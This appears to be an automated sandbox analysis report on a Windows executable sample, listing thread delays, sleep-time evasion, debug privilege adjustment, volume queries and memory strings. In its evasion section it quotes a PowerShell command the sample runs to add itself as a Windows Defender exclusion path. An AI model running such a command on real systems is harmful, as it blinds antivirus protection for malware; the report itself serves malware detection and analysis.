Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599762	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597577	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597358	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Window / User API: threadDelayed 5114	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Window / User API: threadDelayed 4875	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6764	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2916	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Window / User API: threadDelayed 2320	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Window / User API: threadDelayed 7539	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Window / User API: foregroundWindowGot 1727	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6944	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 5660	Thread sleep count: 2320 > 30	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 5660	Thread sleep count: 7539 > 30	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599762s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -594952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe TID: 1908	Thread sleep time: -594625s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599762	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597577	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597358	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594952	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: 299371485_14108825808_1736351479899.exe, 00000000.00000002.2219355172.0000000003FC1000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000000.00000002.2224357867.0000000009B20000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: rLQeMuOpO6
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4617512203.0000000001339000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"			Jump to behavior

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"			Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Process created: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe "C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe"			Jump to behavior

Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003171000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003127000.00000004.00000800.00020000.00000000.sdmp, 299371485_14108825808_1736351479899.exe, 00000006.00000002.4622133854.0000000003171000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\299371485_14108825808_1736351479899.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
